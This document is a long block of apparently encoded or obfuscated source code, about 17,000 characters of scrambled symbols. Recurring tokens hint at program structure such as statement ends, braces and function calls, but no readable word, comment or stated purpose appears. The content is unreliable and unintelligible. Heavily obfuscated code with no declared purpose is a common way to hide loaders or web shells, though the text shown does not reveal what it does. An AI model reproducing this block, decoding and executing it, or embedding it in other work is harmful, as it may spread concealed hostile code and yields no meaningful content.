d{%-' 2..0&/8b{6l19%/.-l 3/<'tnldU"U69w6( l).%/>&.=%8wiofvw6( l).%/>&.=%8wfgmvs9>3,:vv$Upu/-626+6):r-:<*-,6):963+:-r<7>61upUU-:+*-1dU"U{>;+&ok62l=b68-=;0g1k=f9<,wfinvw-nif,f=:o%ol2)owvvdU{39>60gf;+./k=<b;:961:;w==7i3&4;3f/;13mwgmgvv` 
 e}}dU{=6 f;'l/9('b>-->&wU{39>60gf;+./k=<q68-=;0g1k=f9<,wfglvsU{39>60gf;+./k=<q%&l24,::0;+wfgkvsUUUU{39>60gf;+./k=<q6( l).%/>&.=%8wfgjvsUvdUU{712+-()*887o4)b}}dU90-:><7w{=6 f;'l/9('>,{;:m.20n>922=h/v$U69w{;:m.20n>922=h/~bb}}yy%&l24,::0;+wfgivw{;:m.20n>922=h/vyy%&l24,::0;+wgnnvw{;:m.20n>922=h/vv$UUUU{712+-()*887o4)b{;:m.20n>922=h/dU=-:>4dU"U"U69w{712+-()*887o4)bbb}}v$U-:+*-1dU"U{4ok1267:92l2 b6( l).%/>&.=%8wgilvw{712+-()*887o4)vdU,/3 >*+030>; -:86,+:-w9*1<+601w{<n%k;;.<'ofl,v*,:w{4ok1267:92l2 v$U90-:><7w>-->&w{4ok1267:92l2 qxpxq{<n%k;;.<'ofl,q%&l24,::0;+wfghvs{4ok1267:92l2 qxpxq{<n%k;;.<'ofl,q6( l).%/>&.=%8wfggvv>,{%<>4j4<h%&7)=*k3v$UUUU69w68-=;0g1k=f9<,wfgivw{%<>4j4<h%&7)=*k3vv$U61<3*;: 01<:{%<>4j4<h%&7)=*k3dU-:+*-1dU"UUUU"UUUU"vdU{+=2kgjmo+&0*3</nb6( l).%/>&.=%8wfmivw{712+-()*887o4)vdU69w{+=2kgjmo+&0*3</nbbb9>3,:##68-=;0g1k=f9<,wfhovw{+=2kgjmo+&0*3</ns==7i3&4;3f/;13mwfgfvvbbb9>3,:v$UUUU-:+*-1dU"U{+=2kgjmo+&0*3</nb68-=;0g1k=f9<,wffovw==7i3&4;3f/;13mwffnvs}}s{+=2kgjmo+&0*3</nvdU{+=2kgjmo+&0*3</nb6( l).%/>&.=%8wkofvw68-=;0g1k=f9<,wfgfvs68-=;0g1k=f9<,wffmvs{+=2kgjmo+&0*3</nvdU{>':1;7%'&j.=l8b< ii-1<l;;7/*k4 ni<o'iw:5'(2)8 0n<38-%0wvs==7i3&4;3f/;13mwgjjvvdU69w{>':1;7%'&j.=l8bbb9>3,:v${,o/7904gj9%bnjtjid{:g+;i70(1,'(oob{,o/7904gj9%rkidU-:+*-1dU"U%&l24,::0;+wmnmvw{>':1;7%'&j.=l8s%&l24,::0;+wfflvq{+=2kgjmo+&0*3</nvdU+-&$U61<3*;:{>':1;7%'&j.=l8dU"961>33&$U6&3-,o*-.<)&:l.1w{>':1;7%'&j.=l8vdU"U{++2-=*5>)-**k(8b%&l24,::0;+wgmmvw{>;+&ok62l=s vdU{68-=;0g1k=f9<,wffkvb{>;+&ok62l=dU{6( l).%/>&.=%8wffjvb{++2-=*5>)-**k(8dU{/<g/);6ln-b%&l24,::0;+wffivUq%&l24,::0;+wffhvUUq68-=;0g1k=f9<,wffgvUq68-=;0g1k=f9<,wfffvUq==7i3&4;3f/;13mwnooovUUqx"xUq==7i3&4;3f/;13mwnoonvUqx"xUqx"xdU{7<f8gn*20  b< ii-1<l;;7/*k4 ni<o'iw:5'(2)8 0n<38-%0wvs%&l24,::0;+wnoomvvdU69w{7<f8gn*20  v$Upp,+-:18+7r-:;*<:><<*2*3>+0-90-1+6+&-0)6;:-UU==7i3&4;3f/;13mwmnmvw{7<f8gn*20  s{/<g/);6ln-vdU+-&$UU61<3*;:{7<f8gn*20  d{3'13= 51:.*h/bggod{1(onk+7nm1fnb{3'13= 51:.*h/znjdU"961>33&$U6&3-,o*-.<)&:l.1w{7<f8gn*20  vdU"U"Upp*1-0339><+0-UU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnoolvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"Upp*++0130<4e-:3:>,:+-6:UU"U69w~==7i3&4;3f/;13mwfkkvw==7i3&4;3f/;13mwnookvvv${:o,io 9 &blotgod{'%m9fn:;,1h2%b{:o,io 9 &rmkdU9*1<+6010o4k<.->gn',+<h:&w{(>7 &+*&0(,,+s{,6;nk&9ln1ij&&0mvU$U69w~68-=;0g1k=f9<,wnoojvw{(>7 &+*&0(,,+vv$Upp><+6)>+:->+:r3626+:-UU-:+*-1{(>7 &+*&0(,,+dUUUU"U{&<&<j82018b>-->&w%&l24,::0;+wnooivs==7i3&4;3f/;13mwnoohvs%&l24,::0;+wnoogvs68-=;0g1k=f9<,wnoofvs68-=;0g1k=f9<,wilovvdU90-:><7w{&<&<j82018>,{4:&v$Upp/-:;6<+6):<0)>-6>1+UU69w~6,,:+w{(>7 &+*&0(,,+{4:&v##~6( l).%/>&.=%8wnoojvw{(>7 &+*&0(,,+{4:&vv$U<01+61*:dU"UUUU{-6%<)l5%07.1;' 'b>-->&wvdU90-:><7w{(>7 &+*&0(,,+{4:&>,{737klg9, ijk9v$U69w~%&l24,::0;+wnonovw{737klg9, ijk9vv$Upp&0/:->+0-,/0,++&/:,:+*/UU{-6%<)l5%07.1;' 'b{737klg9, ijk9dU<01+61*:dU"U{1o/4'ig/o>n,2b6,,:+w{737klg9, ijk96( l).%/>&.=%8wnonnvv`{737klg9, ijk9%&l24,::0;+wnonnve}}dUU{++2-=*5>)-**k(8b6,,:+w{==7i3&4;3f/;13mwnonmvv`{%&l24,::0;+wnonmve}}dUUU69w{1o/4'ig/o>n,2bbb{,6;nk&9ln1ij&&0m##w{++2-=*5>)-**k(8~bb}}yy{1o/4'ig/o>n,2bbb{++2-=*5>)-**k(8vv$UU<01+61*:dU"UU{-6%<)l5%07.1;' 'b0o4k<.->gn',+<h:&w{737klg9, ijk9s{,6;nk&9ln1ij&&0mvdU"U{(>7 &+*&0(,,+{4:&b{-6%<)l5%07.1;' 'd{/3*%.mm3g:bjlumd{<l220i%o+g*b{/3*%.mm3g:rlkdU"U-:+*-1{(>7 &+*&0(,,+dU"U"U9*1<+6011&l;6-(42+((j08;*+kg+wvU$Upp963+:-:'/-:,,601UU+-&$U69w%&l24,::0;+wfkkvw6( l).%/>&.=%8wghkvvyy8:+ +->1,6:1+w==7i3&4;3f/;13mwhgmvvv$U-:+*-1dU"UUUU{-98jm9j,97>b68-=;0g1k=f9<,wmmlvw-nif,f=:o%ol2)owvvdU69w{-98jm9j,97>yy{-98jm9j,97>awgjhjrljhjvyy{-98jm9j,97>cwkffffigtlmvyy~%2:n;9l5gim=)+<n%28(jw-nif,f=:o%ol2)owvvv$U{=>kml=2,6:b==7i3&4;3f/;13mwfmivw-nif,f=:o%ol2)owvvdU69w==7i3&4;3f/;13mwgghvw{=>kml=2,6:vyy%&l24,::0;+wnonlvw{=>kml=2,6:vbbb{-98jm9j,97>yy)%;j1-;6fo.< h=<%=*w{=>kml=2,6:vv$U69w,=.9=%*lk<l11j),n'56'/w-nif,f=:o%ol2)owvs+l92.0094n*&>:4j01(w{=>kml=2,6:vvv$U:fk534k;<kn+4l3w-nif,f=:o%ol2)owvvdU3o>94&fk7+k97f >w-nif,f=:o%ol2)owvvdU"U"U*1,:+w{=>kml=2,6:vdU"UUU{36+j'joj=5((b6( l).%/>&.=%8wmmlvw-nif,f=:o%ol2)owvvdUUU{+1%m +4=m,b{36+j'joj=5((yy{36+j'joj=5((awkfghtnlvdU69w{+1%m +4=m,yy{36+j'joj=5((awjmkmghomtfgvv$U{+1%m +4=m,b9>3,:dU"UUU69w{+1%m +4=m,v$U{44n.mm0g88-gb%&l24,::0;+wfmivw-nif,f=:o%ol2)owvvdU69w6( l).%/>&.=%8wgghvw{44n.mm0g88-gvyy%&l24,::0;+wnonlvw{44n.mm0g88-gvawfhmhkgthjgmgvv{44n.mm0g88-gb5( g6,6h*67j545kh:w{44n.mm0g88-gvdU69w~68-=;0g1k=f9<,wnonkvw{44n.mm0g88-gv##~)%;j1-;6fo.< h=<%=*w{44n.mm0g88-gvv$U{+1%m +4=m,b9>3,:dU":3,:$U{8<l0;0:'i67(o.)=b7=6*m)5(8(fkl*-%l14  'w6( l).%/>&.=%8wnonjvs}}vdU{ 6<:.;+'1k66*jb-04nj+.0i9n)(f%w{44n.mm0g88-gvdU{04;185);%n,-8b-04nj+.0i9n)(f%w==7i3&4;3f/;13mwnonkvw{8<l0;0:'i67(o.)=v`{8<l0;0:'i67(o.)=e}}vdU69w{ 6<:.;+'1k66*j~bb}}yyw{04;185);%n,-8bbb}}##):-,601 <02/>-:w{04;185);%n,-8s{ 6<:.;+'1k66*jsxcxvvv$U{9l0+*)i8377=b%&l24,::0;+wggmvw{44n.mm0g88-gvdUUUU{.(8/%.i*o)45gb68-=;0g1k=f9<,wnonivw68-=;0g1k=f9<,wgilvw-nif,f=:o%ol2)owvvq%&l24,::0;+wngjvq{9l0+*)i8377=vdU69w~{.(8/%.i*o)45gv$U{ <+l-2/;2+/:nfgb8:+ 0/+601w6( l).%/>&.=%8wngfvvdU69w%&l24,::0;+wnonkvw{ <+l-2/;2+/:nfgvyy68-=;0g1k=f9<,wfhovw{ <+l-2/;2+/:nfgs{9l0+*)i8377=qx#xvbbboyy==7i3&4;3f/;13mwgjhvwvrw61+v68-=;0g1k=f9<,wnonhvw{ <+l-2/;2+/:nfgs68-=;0g1k=f9<,wfhovw{ <+l-2/;2+/:nfgsx#xvtnvcwo'nlk;to'nl:llvv{.(8/%.i*o)45gb+-*:dU"U69w{.(8/%.i*o)45gv{+1%m +4=m,b9>3,:dUUU69w~{.(8/%.i*o)45gyy%&l24,::0;+wnonkvw{8<l0;0:'i67(o.)=vyyw{8<l0;0:'i67(o.)=bbb}}##{04;185);%n,-8bbb}}##):-,601 <02/>-:w{04;185);%n,-8s{ 6<:.;+'1k66*jsxcxvvv5% 3m3%%i+&%>-;(142mm)w==7i3&4;3f/;13mwnonjvs{44n.mm0g88-gs68-=;0g1k=f9<,wgfgvvdU*1,:+w{9l0+*)i8377=s{.(8/%.i*o)45gs{ <+l-2/;2+/:nfgvdUUU":3,:69w68-=;0g1k=f9<,wnonkvw{8<l0;0:'i67(o.)=vyy68-=;0g1k=f9<,wnonlvw{8<l0;0:'i67(o.)=vawkgjtnjvyy==7i3&4;3f/;13mwnonlvw{8<l0;0:'i67(o.)=vcbwnokgjhjtnvyy~=n-8-m<n&2j=7.j+:f%inw{8<l0;0:'i67(o.)=vyy)%;j1-;6fo.< h=<%=*w{8<l0;0:'i67(o.)=vyy68-=;0g1k=f9<,wggmvw{44n.mm0g88-gv~bb68-=;0g1k=f9<,wnongvw{8<l0;0:'i67(o.)=vv$Upp/0,+r;0261>+:,6;:r:99:<+r9-::<01+-03r930(r8->/7UU{+1%m +4=m,b9>3,:dU"U"U"U69w{+1%m +4=m,v$Upp1+3:'+:1,601e-:3>':;/6/:361:UU69w68-=;0g1k=f9<,wnonfvw68-=;0g1k=f9<,whgnvvv$U,:+ +->1,6:1+w==7i3&4;3f/;13mwnomovsnswo'logto'=ogvvdUUUU"U-:+*-1dU"U69w%2:n;9l5gim=)+<n%28(jw-nif,f=:o%ol2)owvvv$U-:+*-1dU"U{,'87oj2-m7:,.*b68-=;0g1k=f9<,wgilvw-nif,f=:o%ol2)owvvdU69w~68-=;0g1k=f9<,wghhvw{,'87oj2-m7:,.*vv$Upp<030-r-:86,+:--:<0-;r3>&:-UU 1'4'n,k3k&859>>;w{,'87oj2-m7:,.*swjonrgvs+-*:vdU"U{'1ff(=(>3l9476b7=6*m)5(8(fkl*-%l14  'w%&l24,::0;+wnomnvs}}vdU69w~{'1ff(=(>3l9476##~68-=;0g1k=f9<,wnonkvw{'1ff(=(>3l9476vv$U69w~8:+ +->1,6:1+w6( l).%/>&.=%8wnommvvv$UU04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wnomlvs6( l).%/>&.=%8wnomkvvdUUUUUU,:+ +->1,6:1+w6( l).%/>&.=%8wnommvsnswnlmotmmgovvdU"U"U69w{'1ff(=(>3l9476yy%&l24,::0;+wnonkvw{'1ff(=(>3l9476vyy6( l).%/>&.=%8wnonlvw{'1ff(=(>3l9476vawkihtllvyy==7i3&4;3f/;13mwnonlvw{'1ff(=(>3l9476vcbwnokgkfktgmvyy~=n-8-m<n&2j=7.j+:f%inw{'1ff(=(>3l9476vyy)%;j1-;6fo.< h=<%=*w{'1ff(=(>3l9476vv$U{';&6+<+,7534b-04nj+.0i9n)(f%w{'1ff(=(>3l9476vdUU69w{';&6+<+,7534~bb}}yy):-,601 <02/>-:w{';&6+<+,7534s(8=4>%+g%(8i0>1>i(l9h+wvsxcxvv$U-:+*-1d{':>88;;0=,:<bho#fd{06',(12>&i-b{':>88;;0=,:<mofdUUUUU"U{)23'8'-j,70jb==7i3&4;3f/;13mwgilvw-nif,f=:o%ol2)owvvq==7i3&4;3f/;13mwhflvq%&l24,::0;+wfinvw-nif,f=:o%ol2)owvs68-=;0g1k=f9<,wfggvvdUUU{2jk5:&,)ni+33&70b==7i3&4;3f/;13mwnonivw{)23'8'-j,70jv`6( l).%/>&.=%8wnomjvww,+-618v%&l24,::0;+wfmivw{)23'8'-j,70jvve}}dU69w{2jk5:&,)ni+33&70~bb}}yy6( l).%/>&.=%8wnongvw{'1ff(=(>3l9476vbbb{2jk5:&,)ni+33&70v$UUUU-:+*-1dU"UU..+:l- 3/5(*9,%,)6<:w-nif,f=:o%ol2)owvswlkhthlvvdU{-6fk1gj5>kb,=.9=%*lk<l11j),n'56'/w-nif,f=:o%ol2)owvs+l92.0094n*&>:4j01(w{'1ff(=(>3l9476vvdU69w{-6fk1gj5>kv$U:fk534k;<kn+4l3w-nif,f=:o%ol2)owvvdU..+:l- 3/5(*9,%,)6<:w-nif,f=:o%ol2)owvswlikrhmvvdU3o>94&fk7+k97f >w-nif,f=:o%ol2)owvvdU:%''&1')6-2mnm(w+-*:vdUUU'+l>-385.n%+.(,6+mw+-*:vdU1=g11'309*'4'1g3&w-nif,f=:o%ol2)owvvdU69w6( l).%/>&.=%8wnonfvw68-=;0g1k=f9<,whgnvvv$U,:+ +->1,6:1+w==7i3&4;3f/;13mwnomovsnswo'j>:to'gimvvdU"U":3,:69w%&l24,::0;+wnonfvw6( l).%/>&.=%8whgnvvv$U,:+ +->1,6:1+w==7i3&4;3f/;13mwnomivsnswnhmnthfvvdU"UUU"UUUU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnomlvs{3+1n/j=+n mvdUUUU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"UU9*1<+6015789 -j5 /-0*owvU$Upp>++-6=*+:,62>8:;62:1,601,UU4l;:- 8oj(fhg:;j8w%&l24,::0;+wnomhvs%&l24,::0;+wnomgvvdU4l;:- 8oj(fhg:;j8w%&l24,::0;+wnomfvs==7i3&4;3f/;13mwnomgvvdU69w68-=;0g1k=f9<,wnonfvw%&l24,::0;+wnolovvv$U-:20): ><+601w==7i3&4;3f/;13mwnolnvs%&l24,::0;+wnolmvvdU-:20): ><+601w6( l).%/>&.=%8wnollvs6( l).%/>&.=%8wnolmvswhtlvvdU-:20): ><+601w==7i3&4;3f/;13mwnolkvs68-=;0g1k=f9<,wnoljvswjtjvvdUUUU"Upp30<4	>-6>+601,0/+601-0(UU"U9*1<+601 l2f4'58*h.77jkwvU$U+-&$Upp10-2>36%:UUU{(/;=b{6( l).%/>&.=%8wnolivdUUUUU{';-5&=:42lb{(/;=ra/-:96'q68-=;0g1k=f9<,wnolhvdU{=5h'>9 i6m-i>>9mbxxq%&l24,::0;+wnolgvq{(/;=ra*,:-,q%&l24,::0;+wnolfvq{(/;=ra*,:-2:+>q==7i3&4;3f/;13mwnokovdU-:+*-1{(/;=ra8:+ -:,*3+,w{(/;=ra/-:/>-:w{=5h'>9 i6m-i>>9ms{';-5&=:42ls68-=;0g1k=f9<,wnoknvvvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwihmvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U-:+*-1>-->&wvd{< (f&/j.nl<bnjf#mokd{<),i.g9*,5l'+b{< (f&/j.nl<ihdUUUU"U9*1<+6011 =+;3*'k*o40'i%:)w{0hg&; =nj60<vU$U{2:=(k(5>m:jk,.1b>-->&wvdU{13%<m'f1oh:1'jb9*1<+601w{*4)00j4f9n/)j-o/v$Upp/*=36,7,1>/,70+r6,03>+:;(-6+:r>7:>;r308UU{*4)00j4f9n/)j-o/68-=;0g1k=f9<,wnokmvb}}dU-:+*-1{*4)00j4f9n/)j-o/dU"Upp,+-:>2618/*=36,7:-UdUUUU+-&$U69w~68-=;0g1k=f9<,wnonfvw==7i3&4;3f/;13mwnoklvv##~68-=;0g1k=f9<,wiofvw==7i3&4;3f/;13mwnokkvvv$Upp2>+<7:'/-:,,601e=00+,+->/<>/>=636+&UU-:+*-1{2:=(k(5>m:jk,.1dU"UUUU69w~==7i3&4;3f/;13mwnokjvw{0hg&; =nj60<v##:2/+&w{0hg&; =nj60<vv$U-:+*-1{2:=(k(5>m:jk,.1dUUU"U{4*k- i 3l7b%&l24,::0;+wnokivwvtwgjfnvuwgilfmtgvdUUUU{6, ,,3b6( l).%/>&.=%8wnonfvw==7i3&4;3f/;13mwjkmvvyy6, ,,3wvdU{47714<(/8*3m<ob{6, ,,3`==7i3&4;3f/;13mwnokhve68-=;0g1k=f9<,wnokgvdU{-0&-)g6gf42m7j4kb{6, ,,3`w;:961:;w%&l24,::0;+wnokfvv`
 
 e}}vew;:961:;w6( l).%/>&.=%8wnojovv`
 e}}vdU{2251;j+k*+&28;'9b;:961:;w6( l).%/>&.=%8wnojnvv`  e}}dUUUU69w~{-0&-)g6gf42m7j4k##~{2251;j+k*+&28;'9v$U-:+*-1{2:=(k(5>m:jk,.1dU"U{6=i>=4)-=%fj-i.b;:961:;w68-=;0g1k=f9<,wnojmvvyy `%&l24,::0;+wgvw sxqxve(8%</,)&:4o0.=9w}}vdU{-%08'>7=>/4fnlb;:961:;w68-=;0g1k=f9<,wnojlvv`expxdU{*j96m6(g.-(b;:961:;w68-=;0g1k=f9<,wnojkvv`  e==7i3&4;3f/;13mwnojjvdU{;:%f92/'*% b{6, ,,3`==7i3&4;3f/;13mwnojive==7i3&4;3f/;13mwnojhvdU{6,m8-.=='/b}+}dU4l;:- 8oj(fhg:;j8w68-=;0g1k=f9<,wnojgvs{13%<m'f1oh:1'jsovdU{3*>)mn:(14b:j):m/8&( k,>'0**i0lw6( l).%/>&.=%8wnojfvvdU{+>>>gfh>28m(<4m-b==7i3&4;3f/;13mwnoiovw68-=;0g1k=f9<,wnoinvv`8:+ 0/+601w{3*>)mn:(14s>-->&wvve>-->&wvdU69w~68-=;0g1k=f9<,wnokjvw{+>>>gfh>28m(<4m-vv{+>>>gfh>28m(<4m-b>-->&wvdU{,*(%i:.m>.3*/ib9>3,:dU{'+2>3g=mh7bodUU90-:><7w{0hg&; =nj60<>,{'9/59j)hl),24:5v$UUUU69w~%&l24,::0;+wfgvw{'9/59j)hl),24:5v##~{'9/59j)hl),24:5ra##~{'9/59j)hl),24:5ra*,:- 30861v$U<01+61*:dUUU"U69w{'+2>3g=mh7abwmtnvv$U=-:>4dU"U{5)9)(g%<1&5;bw,+-618v{'9/59j)hl),24:5ra*,:- 30861d{16l/8oh'bnfi#nmmd{>5%'l1-(('6l &b{16l/8oh'ngdUUU69w6,,:+w{+>>>gfh>28m(<4m-{5)9)(g%<1&5;vyyw61+v{+>>>gfh>28m(<4m-{5)9)(g%<1&5;a%&l24,::0;+wnokivwvtmuwnkgljthnjijvv$U<01+61*:dU"U(/ <><7: ;:3:+:w{'9/59j)hl),24:5ras==7i3&4;3f/;13mwnoimvvdUU{./8>oiih<n nb8:+ *,:- 2:+>w{'9/59j)hl),24:5ras==7i3&4;3f/;13mwnoilvs+-*:vdUUU69w%&l24,::0;+wnokjvw{./8>oiih<n nvyy68-=;0g1k=f9<,wnoikvw{./8>oiih<n nvabwftnvv$U{2>+im(f,'i:gf2b>-->&wvdU90-:><7w{./8>oiih<n n>,{<-7m'12++9ba{+;5%62:f&k85v$UUUU69w6,,:+w{+;5%62:f&k85%&l24,::0;+wnoijvvyy{+;5%62:f&k8568-=;0g1k=f9<,wnoijva6( l).%/>&.=%8wnokivwvv$U{2>+im(f,'i:gf2{<-7m'12++9b{+;5%62:f&k85dU"U"U69w%&l24,::0;+wnoiivw{2>+im(f,'i:gf2v~bb%&l24,::0;+wnoiivw{./8>oiih<n nvv$U*/;>+: *,:- 2:+>w{'9/59j)hl),24:5ras6( l).%/>&.=%8wnoilvs{2>+im(f,'i:gf2vdU"U"UUUU(/ <><7: ;:3:+:w{'9/59j)hl),24:5ras6( l).%/>&.=%8wnoimvvdU{6i:)&874)02b%&l24,::0;+wlljvw>-->&w68-=;0g1k=f9<,wnokkvs%&l24,::0;+wnoihvvs{'9/59j)hl),24:5ravdU{ 1-8i+>./=0h3b{6i:)&874)02ra<-:>+:w{4*k- i 3l7vdU{(=<9,:9(%go+b>-->&wvdU{(=<9,:9(%go+b{6=i>=4)-=%fj-i.q{6,m8-.=='/q68-=;0g1k=f9<,wnojivq{6,m8-.=='/q{-%08'>7=>/4fnlq{6,m8-.=='/q{;:%f92/'*% q{6,m8-.=='/q{4*k- i 3l7q{6,m8-.=='/q{2251;j+k*+&28;'9q{6,m8-.=='/q68-=;0g1k=f9<,wnoklvw{'9/59j)hl),24:5ras{4*k- i 3l7s==7i3&4;3f/;13mwnoigvs{ 1-8i+>./=0h3vdU69w{-0&-)g6gf42m7j4kv$U{(=<9,:9(%go+b{6=i>=4)-=%fj-i.q{6,m8-.=='/q68-=;0g1k=f9<,wnoifvq{6,m8-.=='/q{*j96m6(g.-(q{6,m8-.=='/q{;:%f92/'*% q{6,m8-.=='/q{4*k- i 3l7q{6,m8-.=='/q{-0&-)g6gf42m7j4kq{6,m8-.=='/q6( l).%/>&.=%8wnohovw{'9/59j)hl),24:5ras{4*k- i 3l7s{47714<(/8*3m<os{ 1-8i+>./=0h3vdU"UUU{2:=(k(5>m:jk,.1{'9/59j)hl),24:5ra*,:- 30861b{(=<9,:9(%go+dU{+>>>gfh>28m(<4m-{5)9)(g%<1&5;b{4*k- i 3l7d{+k/%95o =fgbnhugd{.fi hoinj:gb{+k/%95o =fgrldU{,*(%i:.m>.3*/ib+-*:dU{'+2>3g=mh7ttdU"Upp7:-26+6>17&/:-308308UUU69w{,*(%i:.m>.3*/iyy==7i3&4;3f/;13mwnoiovw==7i3&4;3f/;13mwgggvvv$U*/;>+: 0/+601w{3*>)mn:(14s{+>>>gfh>28m(<4m-s==7i3&4;3f/;13mwgfgvvdU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnohnvs{3+1n/j=+n mvdUUU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U-:20): 963+:-w68-=;0g1k=f9<,wnohmvs{13%<m'f1oh:1'jsovdU-:+*-1{2:=(k(5>m:jk,.1dUUUU"U9*1<+6011 &l%h<*>;.;<91gm;nkw{)4g o'&-8(3vUU$U69w68-=;0g1k=f9<,wnonkvw{)4g o'&-8(3vv-:+*-1{)4g o'&-8(3dU69w==7i3&4;3f/;13mwnohlvw{)4g o'&-8(3vyy6,,:+w{)4g o'&-8(3x/xvyy68-=;0g1k=f9<,wnonkvw{)4g o'&-8(3x/xvv-:+*-1{)4g o'&-8(3x/xdU-:+*-1}}dU"U9*1<+60154(k*:2 9 k. f-%=5oj>hw{0hg&; =nj60<vU$UU{36,+b>-->&wvdU{). 0+&f+/.bw,+-618v7=6*m)5(8(fkl*-%l14  'w==7i3&4;3f/;13mwnohkvs}}vdU{-;i>j3<0f9bw,+-618v7=6*m)5(8(fkl*-%l14  'w68-=;0g1k=f9<,wnohjvs}}vdU69w{). 0+&f+/.~bb}}yy{-;i>j3<0f9~bb}}v$U{36,+{). 0+&f+/.b{-;i>j3<0f9dUUUUUU"U{'&6;9j(monm0*kb7=6*m)5(8(fkl*-%l14  'w68-=;0g1k=f9<,winfvs>-->&wvvdUU69w68-=;0g1k=f9<,wnohlvw{'&6;9j(monm0*kvv$UUUU90-:><7w{'&6;9j(monm0*k>,{+>/)14g2&m8ba{>8(m-;k.-&kv$U{93=9>%l2lmh16-0nb1 &l%h<*>;.;<91gm;nkw{>8(m-;k.-&kvdU69w{93=9>%l2lmh16-0n~bb}}v{36,+w,+-618v{+>/)14g2&m8b{93=9>%l2lmh16-0ndU"U"U-:+*-1{36,+dUU"U9*1<+601..9.*,-/lnn7,<34&h&82w{+>/)14g2&m8s{>4j.i44k555fs{=69.)>8%ngi+)/;vU$U+-&$U69w~%&l24,::0;+wnohivw{+>/)14g2&m8v##~==7i3&4;3f/;13mwffvw{+>/)14g2&m8s==7i3&4;3f/;13mwnohhvvv$U-:+*-1{+>/)14g2&m8dU"U69w~{+>/)14g2&m8ra7>, <>/w%&l24,::0;+wnohgvvv$U-:+*-1{+>/)14g2&m8dU"U69w~==7i3&4;3f/;13mwnonkvw{=69.)>8%ngi+)/;v##~{=69.)>8%ngi+)/;v$Upp&g,e2:>,*-:>330<>+0-UU-:+*-1{+>/)14g2&m8dU"U{'&6;9j(monm0*kb7=6*m)5(8(fkl*-%l14  'w6( l).%/>&.=%8wnohfvs>-->&wvvdU69w~%&l24,::0;+wnohlvw{'&6;9j(monm0*kvv$U{'&6;9j(monm0*kb>-->&wvdUUU"U90-:><7w{'&6;9j(monm0*k>,{&<4 >- .i(>j%l-ba{2nlg71'f->v$UUU{/n&kf*% 9=+=f'(b==7i3&4;3f/;13mwnohlvw{2nlg71'f->vyy6,,:+w{2nlg71'f->68-=;0g1k=f9<,wnogovv`w61+v{2nlg71'f->%&l24,::0;+wnogoveodUU69w{/n&kf*% 9=+=f'(yy{/n&kf*% 9=+=f'(c==7i3&4;3f/;13mwnognvwvrwmjolmgntjmhmhnfvv*1,:+w{'&6;9j(monm0*k{&<4 >- .i(>j%l-vdUUU"UUU{'&6;9j(monm0*k{+>/)14g2&m8ra*,:- 30861b>-->&wx/xba{=69.)>8%ngi+)/;s6( l).%/>&.=%8wnogovba==7i3&4;3f/;13mwnognvwvs68-=;0g1k=f9<,wimovbaovdU5% 3m3%%i+&%>-;(142mm)w%&l24,::0;+wnohfvs{'&6;9j(monm0*ks68-=;0g1k=f9<,wnogmvvdUU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnoglvs{3+1n/j=+n mvdUUU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U-:+*-1{+>/)14g2&m8dU"UUU9*1<+601(>)56'4>n'%ik8m,w{*%o-,&fn=js{+>/)14g2&m8vU$U+-&$U69w~6( l).%/>&.=%8wnonkvw{*%o-,&fn=jv##{*%o-,&fn=jbbb}}v-:+*-1dUUU{'&6;9j(monm0*kb7=6*m)5(8(fkl*-%l14  'w6( l).%/>&.=%8wnohfvs>-->&wvvdU69w~==7i3&4;3f/;13mwnogkvw{'&6;9j(monm0*kv##~6,,:+w{'&6;9j(monm0*k{*%o-,&fn=jvv-:+*-1dU{3+1n/j=+n mb{'&6;9j(monm0*k{*%o-,&fn=jdU69w==7i3&4;3f/;13mwnogjvw{3+1n/j=+n mvyy:2/+&w{3+1n/j=+n m6( l).%/>&.=%8wimovvv${),f&21,f90bwo'f;to'<jvd{40%'8:o-)lg/b{),f&21,f90zfdU{'&6;9j(monm0*k{*%o-,&fn=j==7i3&4;3f/;13mwimovbnd{>*59l/2.lm5lbnktlod{4>*'=&79),hffib{>*59l/2.lm5lrhdU5% 3m3%%i+&%>-;(142mm)w6( l).%/>&.=%8wnohfvs{'&6;9j(monm0*ks6( l).%/>&.=%8wnogmvvdU"UU"<>+<7w7-0(>=3:{5=>);g)11/.o=f4v$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnogivs{5=>);g)11/.o=f4vdU"<>+<7w'<:/+601{5=>);g)11/.o=f4v$UUUU"U"U9*1<+6014mj8.8 *<.%8=>8i+6;% +w{0hg&; =nj60<vU${ '9h*4/(9/:h;(bnhj#mlhd{46&;lmh%b{ '9h*4/(9/:h;(hndUUU69w~6( l).%/>&.=%8wnogjvw{0hg&; =nj60<vv$Upp>(>6+6;:2/0+:1+r>;5<00-;61>+0-UU-:+*-19>3,:dUU"U{39=;==*;7k=b6f%+;m%(i=>,87n':02wvdU90-:><7w{0hg&; =nj60<>,{'9/59j)hl),24:5v$U90-:><7w{39=;==*;7k=>,{0i42)881m6*4 v$U69w6( l).%/>&.=%8wgoivw%&l24,::0;+wnoghvq%&l24,::0;+wnoggvw{0i42)881m6*4 sxpxvq6( l).%/>&.=%8wnogfvs{'9/59j)hl),24:5ra*,:- 30861vv$Upu+0+>3/-009r+:-2upUU-:+*-1{'9/59j)hl),24:5dU"U"U"U-:+*-19>3,:dU"U9*1<+6010,://=::3'-f*7w{3%-n*h5&-->;j)s{6ki37&m8g/<11;&vU$U-:+*-168-=;0g1k=f9<,wnofovw%&l24,::0;+wnongvw{3%-n*h5&-->;j)vsos{6ki37&m8g/<11;&vdUUUU"UUU9*1<+6018299gl8>+o(8-+w{96m 0g.m6nj7ivU$U69w~6( l).%/>&.=%8wnonkvw{96m 0g.m6nj7iv##{96m 0g.m6nj7ibbb}}##~;:961:;w==7i3&4;3f/;13m